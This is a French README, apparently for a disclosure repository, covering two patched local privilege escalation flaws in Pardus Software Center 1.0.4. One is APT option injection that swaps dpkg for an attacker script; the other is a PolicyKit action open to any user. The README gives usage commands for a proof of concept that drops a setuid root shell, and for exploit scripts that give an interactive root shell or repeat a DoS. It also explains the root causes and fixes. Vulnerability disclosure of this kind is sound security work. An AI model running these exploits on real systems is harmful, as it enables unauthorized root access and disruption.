
Pardus Software Preuve de concept d'élévation de privilèges locaux - versions affectées : <= 1.0.4
Code de preuve de concept et prêt à l'exploitation pour deux problèmes d'élévation de privilèges locaux dans le paquet pardus-software (Pardus Software Center) version 1.0.4, tous deux corrigés dans la 1.0.5.
| CVE | Classe | Résumé | CVSS 3.1 (CERT-TR) |
|---|---|---|---|
| CVE-2026-14459 | CWE-88 — Injection d'arguments | Un membre du groupe pardus-software (sans sudo, sans mot de passe) injecte des options APT (-o Dir::Bin::dpkg=…) dans l'assistant privilégié et exécute du code arbitraire en tant que root. | 8.8 ÉLEVÉ |
| CVE-2026-14460 | CWE-862 — Absence d'autorisation | L'action PolicyKit autoaptupdateaction est livrée avec allow_any=yes, permettant à tout utilisateur local d'exécuter l'assistant de mise à jour en tant que root, sans authentification (DoS local). | 8.8 ÉLEVÉ |
Affecté : pardus-software 1.0.4 · Corrigé : pardus-software 1.0.5
Fournisseur : Pardus / TÜBİTAK BİLGEM · Divulgation coordonnée via le fournisseur et USOM (CERT-TR).
Ce code est publié à des fins de recherche défensive, d'éducation et de vérification d'une vulnérabilité corrigée et divulguée publiquement. Les deux problèmes sont corrigés dans pardus-software 1.0.5.
Exécutez-le uniquement sur des machines virtuelles isolées, jetables, que vous possédez ou pour lesquelles vous êtes explicitement autorisé à tester. Ne l'exécutez pas sur des systèmes que vous ne contrôlez pas. Vous êtes responsable du respect de toutes les lois applicables. L'auteur décline toute responsabilité en cas d'utilisation abusive.
pardus-software-lpe/
├── README.md
├── poc/
│ └── poc.sh # original benign PoC (proof-only; both CVEs)
└── exploit/
├── exploit-14459.sh # CVE-2026-14459 → interactive root shell
└── exploit-14460.sh # CVE-2026-14460 → unauth root apt-update (DoS)
Un seul poc.sh couvre les deux découvertes via des sous-commandes :
La version poc/ est bénigne : elle enregistre uniquement la sortie de id dans /tmp/pardus_lpe_proof et dépose un /tmp/rootbash setuid-root comme preuve. Les versions exploit/ sont les équivalents armés, « donne-moi un shell root » pour démonstration sur des cibles autorisées.
poc.sh SHA256 : 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255
Le PoC bénin inclut un assistant pour créer un compte victim non privilégié dans le groupe pardus-software (sans sudo), sur une VM Pardus 25 jetable :
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh
# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
# if 'hello' is already installed/unavailable: ./poc.sh B sl
# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'
# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'
Attendu : aucune invite de mot de passe ; la sortie montre uid=0(root), /tmp/pardus_lpe_proof appartenant à root, et /tmp/rootbash comme -rwsr-xr-x root root (setuid root). Pour B, APT affiche également son propre indice que le script injecté a fonctionné à la place de dpkg :
Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
Affected packages: hello:amd64
Exécutez-les en tant qu'utilisateur non privilégié cible (pour 14459, un membre de pardus-software).
# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
# run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
# if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh
# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
# demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20
Sur un hôte corrigé (>= 1.0.5), les deux scripts échouent proprement et l'indiquent.
CVE-2026-14459. La méthode install() de Actions.py divise son argument packages sur les espaces et ajoute les jetons directement au vecteur d'arguments de apt — sans validation de nom, sans terminateur d'option --. Tout jeton ressemblant à une option APT est honoré, y compris -o Dir::Bin::dpkg=<chemin>, qui échange le backend du gestionnaire de paquets pour un script attaquant qui s'exécute alors en tant que root. Le même motif existait dans remove/upgrade/reinstall/downgrade.
CVE-2026-14460. L'action PolicyKit autoaptupdateaction a été déclarée avec allow_any=yes, autorisant tout sujet sans authentification. Tout utilisateur local pouvait invoquer AutoAptUpdate.py en tant que root — une surface de DoS local.
Articles techniques complets (EN + TR) : ([https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1] (https://medium.com/@dasokkk/local-privilege-escalation-in-pardus-software-center-via-apt-option-injection-cve-2026-14459-569ad65a2250))
Corrigé dans pardus-software 1.0.5 :
a6ff277 — validation des noms de paquets (regex parse_packages() + séparateur --) pour les actions apt (CVE-2026-14459).70210af — allow_any: yes → auth_admin pour autoaptupdateaction (CVE-2026-14460).Si vous utilisez Pardus, mettez à jour vers pardus-software 1.0.5 ou ultérieur.
a6ff277 · 70210afRecherche et divulgation coordonnée par Kerem Kaan Daşmaz.
| Sous-commande | Prouve | Notes |
|---|
poc.sh B | CVE-2026-14459 | Injection d'option APT (-o Dir::Bin::dpkg) — la découverte principale |
poc.sh A | CVE-2026-14459 | .deb local non signé via le même chemin de confiance (démonstration secondaire) |
poc.sh autoupdate | CVE-2026-14460 | apt update root sans authentification |